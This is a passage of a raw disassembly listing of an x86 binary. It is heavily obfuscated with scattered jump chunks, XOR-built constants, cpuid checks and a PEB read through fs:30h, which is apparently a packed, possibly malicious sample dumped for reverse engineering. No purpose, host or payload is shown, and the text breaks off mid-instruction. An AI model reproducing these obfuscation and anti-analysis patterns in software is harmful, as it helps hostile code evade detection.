sub_42F614-764Cj jmp loc_42E887 ; END OF FUNCTION CHUNK FOR sub_42F614 ; --------------------------------------------------------------------------- loc_4269CB: ; CODE XREF: wto1jq8f:0042DD44j or edi, 0C469D1CCh ; =============== S U B R O U T I N E ======================================= sub_4269D1 proc near ; CODE XREF: sub_429B76:loc_42E2E6p mov [esp+0], ebx pop ebx call sub_4269EF retn sub_4269D1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E83D loc_4269DB: ; CODE XREF: sub_42E83D-2478j jmp loc_42C608 ; END OF FUNCTION CHUNK FOR sub_42E83D ; --------------------------------------------------------------------------- loc_4269E0: ; CODE XREF: wto1jq8f:0042AB9Bj jmp locret_42AD68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F23 loc_4269E5: ; CODE XREF: sub_424F23+147Ej jmp nullsub_9 ; END OF FUNCTION CHUNK FOR sub_424F23 ; --------------------------------------------------------------------------- loc_4269EA: ; CODE XREF: wto1jq8f:00424C0Bj jmp loc_4283DC ; =============== S U B R O U T I N E ======================================= sub_4269EF proc near ; CODE XREF: sub_4269D1+4p ; FUNCTION CHUNK AT 0042E7DF SIZE 00000005 BYTES push ebp push offset loc_4286EC jmp loc_42E7DF sub_4269EF endp ; --------------------------------------------------------------------------- loc_4269FA: ; CODE XREF: wto1jq8f:00427235j shl esi, 15h ; =============== S U B R O U T I N E ======================================= sub_4269FD proc near ; CODE XREF: sub_427A8D+46CBp ; FUNCTION CHUNK AT 0042A717 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E58E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042E765 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F714 SIZE 00000004 BYTES xchg ebx, [esp+0] pop ebx or eax, eax jnz loc_42E58E jmp loc_42E765 sub_4269FD endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_86. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429D2E loc_426A0F: ; CODE XREF: sub_429D2E+5AA8j jmp sub_4281DD ; END OF FUNCTION CHUNK FOR sub_429D2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4293C8 loc_426A14: ; CODE XREF: sub_4293C8+Cj jmp nullsub_136 ; END OF FUNCTION CHUNK FOR sub_4293C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_426A19: ; CODE XREF: sub_42E9E8-767Fj ; sub_42E9E8:loc_42A642j cmp dword ptr [ebp-1C8h], 2B584245h jnz loc_428BE9 jmp loc_428802 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- loc_426A2E: ; CODE XREF: wto1jq8f:00427C5Fj or ebp, ebx mov [ebp+0], eax ; START OF FUNCTION CHUNK FOR sub_429459 loc_426A33: ; CODE XREF: sub_429459:loc_42C187j add eax, 40535662h mov eax, [eax] or eax, eax jnz loc_427F44 jmp loc_425EB4 ; END OF FUNCTION CHUNK FOR sub_429459 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42433B loc_426A48: ; CODE XREF: sub_426C0C:loc_42C49Bj ; sub_42433B+88CFj pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42433B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_426A4A: ; CODE XREF: sub_42506F+9190j ; sub_42716A+7314j jmp loc_42A843 ; END OF FUNCTION CHUNK FOR sub_42506F ; --------------------------------------------------------------------------- loc_426A4F: ; CODE XREF: wto1jq8f:004261D8j jmp loc_427E04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42433B loc_426A54: ; CODE XREF: sub_42433B+4j ; sub_42CBEE+Aj xor eax, eax mov [ebp-8], eax jmp loc_42CC05 ; END OF FUNCTION CHUNK FOR sub_42433B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB63 loc_426A5E: ; CODE XREF: sub_42CB63+8j test byte ptr [ebp-8], 8 jmp loc_4248B8 ; END OF FUNCTION CHUNK FOR sub_42CB63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_426A67: ; CODE XREF: sub_426C0C:loc_424E1Ej jz loc_42EB43 jmp loc_42CAD8 ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E961 loc_426A72: ; CODE XREF: sub_42E961-A494j adc edx, [esp+8+var_4] add esp, 8 movzx eax, word ptr [eax] shl eax, 2 jmp loc_42F1F4 ; END OF FUNCTION CHUNK FOR sub_42E961 ; =============== S U B R O U T I N E ======================================= sub_426A84 proc near ; CODE XREF: wto1jq8f:004270D7j ; sub_42E64B+AF9p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042EBEF SIZE 00000005 BYTES xchg eax, [esp+0] pop eax mov esp, ebp mov ebp, offset loc_42DAAE xchg ebp, [esp-4+arg_0] jmp loc_42EBEF sub_426A84 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426A97 proc near ; CODE XREF: wto1jq8f:0042A04Aj ; sub_42F360p ; FUNCTION CHUNK AT 0042BE5A SIZE 0000000A BYTES mov [esp+0], esi pop esi push ebp mov ebp, esp push ecx jmp loc_42BE5A sub_426A97 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_426AA4: ; CODE XREF: sub_42DB52+Fj pop edx xor edx, 0F36B013Ch add edx, ebp add edx, 3FB30C5Dh mov [edx], eax jmp loc_42DBFE ; END OF FUNCTION CHUNK FOR sub_42DB52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425944 loc_426ABA: ; CODE XREF: sub_425944+21CDj xor edx, edx push edx push eax mov eax, [ebp-8] loc_426AC1: ; CODE XREF: sub_42F135+9j cdq add eax, [esp-8+arg_4] adc edx, [esp-8+arg_8] jmp loc_429A1D ; END OF FUNCTION CHUNK FOR sub_425944 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_252. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426456 loc_426ACF: ; CODE XREF: sub_426456+6j jmp nullsub_10 ; END OF FUNCTION CHUNK FOR sub_426456 ; =============== S U B R O U T I N E ======================================= sub_426AD4 proc near ; DATA XREF: sub_428D47+3C64o ; FUNCTION CHUNK AT 00428B66 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042D784 SIZE 00000005 BYTES push 0D1E89798h pop ebx xor ebx, 0D1E8979Fh popf and ecx, ebx pop ebx mov eax, 1 jmp loc_42D784 sub_426AD4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_426AEE: ; CODE XREF: wto1jq8f:0042EE8Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_426AEF: ; CODE XREF: sub_426E98+7C8Dj sbb esi, 0CA615D9Fh ; END OF FUNCTION CHUNK FOR sub_426E98 ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_426AF5: ; CODE XREF: wto1jq8f:004293F4j ; sub_42E9E8:loc_4294D2j ... jo loc_42EA6B cmp dword ptr [ebp-4], 1 jnz loc_42C73E jmp loc_42F5B8 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_426B0A: ; CODE XREF: sub_426968+223Aj jnz loc_42DF23 jmp loc_429792 ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- push 0 push esi push 0D33017EFh pop esi rol esi, 16h add esi, 40B347Bh jmp loc_426F56 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_225. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_426B2D: ; CODE XREF: wto1jq8f:0042B94Dj jmp sub_42CB36 ; --------------------------------------------------------------------------- loc_426B32: ; DATA XREF: wto1jq8f:00428F57o push 8D797C12h pop edi add edi, 72C97897h xchg edi, [esp] jmp nullsub_32 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_426B46: ; CODE XREF: sub_426E98+A7j jnz loc_42893D or ecx, 6BE60E41h jmp loc_428938 ; END OF FUNCTION CHUNK FOR sub_426E98 ; =============== S U B R O U T I N E ======================================= sub_426B57 proc near ; DATA XREF: sub_426E98+8Bo push 0 lea eax, [ebp-20h] push eax sub_426B57 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4282FE loc_426B5D: ; CODE XREF: sub_4282FE:loc_42B24Dj call sub_42596F push edx jmp loc_42B168 ; END OF FUNCTION CHUNK FOR sub_4282FE ; --------------------------------------------------------------------------- loc_426B68: ; CODE XREF: wto1jq8f:0042EB84j jno nullsub_173 jb loc_427CC2 jmp sub_427F8F ; --------------------------------------------------------------------------- loc_426B79: ; DATA XREF: sub_42EECC+9o and eax, 0FFFFFFh push offset sub_4283CC jmp locret_424E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B8FC loc_426B88: ; CODE XREF: sub_42B8FC+1814j jz loc_42739D jmp loc_4291B4 ; END OF FUNCTION CHUNK FOR sub_42B8FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4259FF loc_426B93: ; CODE XREF: sub_4259FF:loc_42A545j xchg edi, [esp-14h+arg_10] mov ebp, edi pop edi jmp loc_42435E ; END OF FUNCTION CHUNK FOR sub_4259FF ; --------------------------------------------------------------------------- push eax jmp loc_42BCBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F81B loc_426BA4: ; CODE XREF: sub_42F81B+Aj or eax, eax jnz loc_42B96B call sub_424585 mov edx, 9E849D81h call sub_429165 push eax jmp loc_42E2F0 ; END OF FUNCTION CHUNK FOR sub_42F81B ; --------------------------------------------------------------------------- push 1705E8B7h jmp loc_42D1A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_426BCB: ; CODE XREF: sub_42E9E8-5148j and edi, edx loc_426BCD: ; CODE XREF: sub_42E9E8:loc_425EC7j push 0 push 9534B28Eh xor dword ptr [esp+0], 9534B28Eh push 10h mov eax, [ebp+8] jmp loc_4284D4 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262CE loc_426BE5: ; CODE XREF: sub_4262CE+5767j call sub_426C04 mov ds:dword_42A73C, eax call sub_42ED32 mov edx, 90F68180h call sub_426C04 mov ds:dword_42A748, eax retn ; END OF FUNCTION CHUNK FOR sub_4262CE ; =============== S U B R O U T I N E ======================================= sub_426C04 proc near ; CODE XREF: sub_42CFE2-8FCDp ; sub_4262CE:loc_426BE5p ... ; FUNCTION CHUNK AT 004247D4 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00426E43 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042BE43 SIZE 0000000E BYTES push ebp jmp loc_4247D4 sub_426C04 endp ; --------------------------------------------------------------------------- loc_426C0A: ; CODE XREF: wto1jq8f:00427017j mov ecx, [edi] ; =============== S U B R O U T I N E ======================================= sub_426C0C proc near ; CODE XREF: sub_426535:loc_42BDAAp ; FUNCTION CHUNK AT 004246F2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424CDD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424E1E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042644C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426A67 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042804E SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00428179 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428700 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00429C74 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A85D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042A95B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AD0D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C3F8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C49B SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042C8FC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042C964 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CAD8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042D70C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042E294 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042E620 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042EAE2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042EB35 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0042F04D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F0C4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F4F4 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042F73D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042F8AF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FC63 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi cmp dword ptr [ebp-4], 6 jnz loc_42F4F4 jmp loc_424E1E sub_426C0C endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov edx, 0F2B89A19h call sub_429165 push eax rol eax, 17h jmp loc_42A4B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_426C32: ; CODE XREF: sub_429BFF:loc_42E589j mov eax, [eax] add eax, 4 push 0EF5C556Bh mov [esp+14h+var_14], eax mov eax, [ebp+8] jmp loc_42EE7F ; --------------------------------------------------------------------------- loc_426C47: ; CODE XREF: sub_429BFF:loc_42D73Bj mov eax, [ebp+8] cmp dword ptr [eax-4], 0 jmp loc_42F2E7 ; END OF FUNCTION CHUNK FOR sub_429BFF ; =============== S U B R O U T I N E ======================================= sub_426C53 proc near ; CODE XREF: sub_42BE7E+21Aj push ebp mov eax, [ebp-20h] call sub_4242F8 pop ecx mov [ebp-20h], eax sub_426C53 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42B705 loc_426C60: ; CODE XREF: sub_42B705+4j ; wto1jq8f:0042C089j ... mov eax, [ebp-20h] sub eax, [ebp-28h] jmp loc_4242EE ; END OF FUNCTION CHUNK FOR sub_42B705 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_426C6B: ; CODE XREF: sub_4267AE:loc_425A78j push 0 push 79A4466Eh xor [esp+4+var_4], 0B7BA6795h xor [esp+4+var_4], 0CE1E21FBh push 10h mov eax, [ebp-8] jmp loc_42B090 ; END OF FUNCTION CHUNK FOR sub_4267AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260DB loc_426C8A: ; CODE XREF: sub_4260DB:loc_4260F3j push 20E5A51Eh jmp loc_42C238 ; END OF FUNCTION CHUNK FOR sub_4260DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_426C94: ; CODE XREF: sub_42506F:loc_42A2EBj jz loc_42FCAC jmp loc_42DFE0 ; END OF FUNCTION CHUNK FOR sub_42506F ; =============== S U B R O U T I N E ======================================= sub_426C9F proc near ; DATA XREF: wto1jq8f:00429D19o ; FUNCTION CHUNK AT 004264EF SIZE 00000005 BYTES push 8CE5CBDAh pop ebx add ebx, 735D24CEh mov [ebx], eax pop ebx jmp loc_4264EF sub_426C9F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262CE loc_426CB3: ; CODE XREF: sub_4262CE:loc_42AE10j shl ebp, 12h rol esi, 16h jmp sub_42C1EE ; END OF FUNCTION CHUNK FOR sub_4262CE ; --------------------------------------------------------------------------- locret_426CBE: ; CODE XREF: wto1jq8f:loc_42E08Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4291B9 loc_426CBF: ; CODE XREF: sub_4291B9+7j mov eax, ds:dword_42D604 or eax, eax jnz loc_427A74 jmp loc_42DA64 ; END OF FUNCTION CHUNK FOR sub_4291B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB49 loc_426CD2: ; CODE XREF: sub_42CB49-7B2Fj and edx, edi loc_426CD4: ; CODE XREF: sub_42CB49:loc_4284E1j mov edi, eax mov eax, 80000001h xor edx, edx cpuid and eax, 0FFFh add [esi], eax jmp loc_426EDD ; END OF FUNCTION CHUNK FOR sub_42CB49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428136 loc_426CEB: ; CODE XREF: sub_428136:loc_42B1D8j push 5F5E1793h pop edi sub edi, 839C8667h loc_426CF7: ; CODE XREF: wto1jq8f:loc_42AD69j add edi, 24810458h jmp loc_427DEE ; END OF FUNCTION CHUNK FOR sub_428136 ; --------------------------------------------------------------------------- mov edx, 0F78D9DBDh call sub_429165 push 28E58954h mov [esp], eax rol eax, 1Bh push esi call sub_42F575 locret_426D1D: ; CODE XREF: wto1jq8f:loc_424CD8j retn ; --------------------------------------------------------------------------- jz loc_42CA83 jmp loc_42DE64 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_205. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xchg eax, edx jmp sub_4282A6 ; =============== S U B R O U T I N E ======================================= sub_426D31 proc near ; CODE XREF: sub_42E350-2F69p ; wto1jq8f:0042CC97j ; FUNCTION CHUNK AT 0042E322 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx loc_426D35: ; CODE XREF: wto1jq8f:loc_42A48Bj call sub_424585 mov edx, 0CE3062ECh push offset sub_42C88D jmp loc_42E322 sub_426D31 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_426D49: ; CODE XREF: wto1jq8f:00426E78j or edx, 0B31F3526h ; =============== S U B R O U T I N E ======================================= sub_426D4F proc near ; CODE XREF: sub_426535:loc_4263A7p ; FUNCTION CHUNK AT 00429550 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AECA SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0042B00D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B970 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BC5B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042C590 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E8AA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042EDA3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042FC68 SIZE 0000000A BYTES xchg edx, [esp+0] loc_426D52: ; CODE XREF: wto1jq8f:004245F4j pop edx mov eax, ds:dword_42E520 or eax, eax jnz loc_42FC68 jmp loc_429550 sub_426D4F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F5E5 loc_426D66: ; CODE XREF: sub_42F5E5+10j xor ecx, ebp loc_426D68: ; CODE XREF: sub_4272F3:loc_42980Bj mov eax, 60h call sub_428183 jmp loc_42AC03 ; END OF FUNCTION CHUNK FOR sub_42F5E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4272F3 loc_426D77: ; CODE XREF: sub_4272F3+3F3Dj jns loc_42A15B mov eax, large fs:30h jmp loc_42AF73 ; END OF FUNCTION CHUNK FOR sub_4272F3 ; =============== S U B R O U T I N E ======================================= sub_426D89 proc near ; CODE XREF: startj push eax call sub_429B39 loc_426D8F: ; CODE XREF: sub_425BB4+19j jmp sub_424585 sub_426D89 endp ; --------------------------------------------------------------------------- loc_426D94: ; CODE XREF: wto1jq8f:00424CA4j jmp loc_42BE16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F25F loc_426D99: ; CODE XREF: sub_42F25F-4EA8j jge loc_428613 test ebp, eax jmp loc_42D6C4 ; END OF FUNCTION CHUNK FOR sub_42F25F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_426DA6: ; CODE XREF: sub_429BFF+1649j jp loc_42D8D3 loc_426DAC: ; CODE XREF: sub_429BFF:loc_428918j call sub_42ED32 jmp loc_425F21 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- loc_426DB6: ; CODE XREF: wto1jq8f:loc_42B584j cmp byte ptr [ebp-5], 0 jnz loc_42EF2E jmp loc_424EA8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_426DC5: ; CODE XREF: sub_426968+176Ej shr eax, 1 loc_426DC7: ; CODE XREF: sub_426968:loc_4280CCj push offset sub_42B019 jmp nullsub_115 ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FE4C loc_426DD1: ; CODE XREF: sub_42FE4C:loc_42592Ej pop edx mov eax, ds:dword_42905C or eax, eax jnz loc_4280B2 loc_426DE0: ; CODE XREF: wto1jq8f:00428C2Fj call sub_42D882 ; END OF FUNCTION CHUNK FOR sub_42FE4C ; START OF FUNCTION CHUNK FOR sub_4260DB loc_426DE5: ; CODE XREF: sub_4260DB-37Fj jmp loc_42D54B ; END OF FUNCTION CHUNK FOR sub_4260DB ; --------------------------------------------------------------------------- loc_426DEA: ; DATA XREF: sub_42B0AE+10o xchg eax, [esp] retn ; --------------------------------------------------------------------------- loc_426DEE: ; DATA XREF: sub_42B0AE+Bo xor eax, 99705E4Ch rol eax, 1Fh call sub_42A88D ; START OF FUNCTION CHUNK FOR sub_4282FE loc_426DFC: ; CODE XREF: sub_4282FE+5228j jmp loc_427074 ; END OF FUNCTION CHUNK FOR sub_4282FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428BA9 loc_426E01: ; CODE XREF: sub_428BA9+16j jmp loc_42D589 ; END OF FUNCTION CHUNK FOR sub_428BA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_426E06: ; CODE XREF: sub_42A6CD-324Aj jmp loc_42E7E4 ; END OF FUNCTION CHUNK FOR sub_42A6CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_426E0B: ; CODE XREF: sub_426E98+7Dj jmp loc_427C26 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42727F loc_426E10: ; CODE XREF: sub_42727F+6908j ror eax, 5 shl eax, 0Dh rol edx, 3 mov ecx, [edi] loc_426E1B: ; CODE XREF: sub_42727F:loc_42DB7Bj call sub_4292B9 loc_426E20: ; CODE XREF: sub_42AEA4-1381j jmp sub_42DFE5 ; END OF FUNCTION CHUNK FOR sub_42727F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FBC7 loc_426E25: ; CODE XREF: sub_42FBC7+8j jg loc_4265BA jmp loc_42E222 ; END OF FUNCTION CHUNK FOR sub_42FBC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A467 loc_426E30: ; CODE XREF: sub_42A467-49F5j and ecx, esi xchg ecx, [edx] rol ebx, 1Ah jmp loc_4247A0 ; END OF FUNCTION CHUNK FOR sub_42A467 ; --------------------------------------------------------------------------- xor esi, edx jmp loc_4259F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C04 loc_426E43: ; CODE XREF: sub_426C04-241Dj mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_4278D6 mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] jmp loc_42BE43 ; END OF FUNCTION CHUNK FOR sub_426C04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EFB5 loc_426E5D: ; CODE XREF: sub_42EFB5:loc_42B83Bj xchg edx, [esp+4+var_4] jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_42EFB5 ; =============== S U B R O U T I N E ======================================= sub_426E65 proc near ; CODE XREF: wto1jq8f:004246AFj ; sub_42506F+4F7Ap mov [esp+0], esi pop esi cpuid add [esi], eax push offset loc_42DDBC jmp nullsub_11 sub_426E65 endp ; --------------------------------------------------------------------------- pushf jmp loc_426D49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EAED loc_426E7D: ; CODE XREF: sub_42EAED:loc_42CA38j mov eax, [ebp-8] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42EAED ; --------------------------------------------------------------------------- loc_426E84: ; CODE XREF: wto1jq8f:0042E62Fj jmp loc_42752D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB63 loc_426E89: ; CODE XREF: sub_42CB63+12j jmp loc_4262A6 ; END OF FUNCTION CHUNK FOR sub_42CB63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_426E8E: ; CODE XREF: sub_42D9D9-7034j jmp loc_42491F ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A197 loc_426E93: ; CODE XREF: sub_42A197-56D4j jmp loc_426956 ; END OF FUNCTION CHUNK FOR sub_42A197 ; =============== S U B R O U T I N E ======================================= sub_426E98 proc near ; CODE XREF: sub_424BD4:loc_4248F2p ; sub_42621A+5E9Cp ... var_38 = dword ptr -38h var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424112 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004246F7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424733 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425F1C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004261BC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426AEF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00426B46 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00426E0B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004274E5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427A0C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00427C26 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00428436 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00428938 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004289F4 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00428B13 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042937A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004294AF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429768 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429B33 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00429C4F SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00429D75 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00429F49 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042B1CD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B215 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B543 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042B65D SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0042B9A8 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042B9BF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042BA5E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042BAAA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C3E5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042CAF0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CDCA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D047 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0042D96F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DFA7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DFC3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042E09A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042E5DC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E696 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E878 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042EA2C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EB23 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042EC39 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042EF03 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F536 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042FAFC SIZE 00000018 BYTES js sub_424351 push ebp mov ebp, esp add esp, 0FFFFFFF8h jmp loc_426FC5 ; --------------------------------------------------------------------------- loc_426EA9: ; CODE XREF: sub_42B31F-5558p ; wto1jq8f:00428467j xchg ebx, [esp+18h+var_18] pop ebx xchg edx, [esp+14h+var_14] push 0 push 0 push 704043B1h pop eax jmp loc_42937A ; --------------------------------------------------------------------------- loc_426EBF: ; DATA XREF: sub_42E9E8:loc_42C883o ror eax, 14h push eax retn ; --------------------------------------------------------------------------- loc_426EC4: ; CODE XREF: sub_42D44C-93A3j jmp loc_42B65D ; --------------------------------------------------------------------------- loc_426EC9: ; CODE XREF: sub_42D343-8A6j push ecx mov 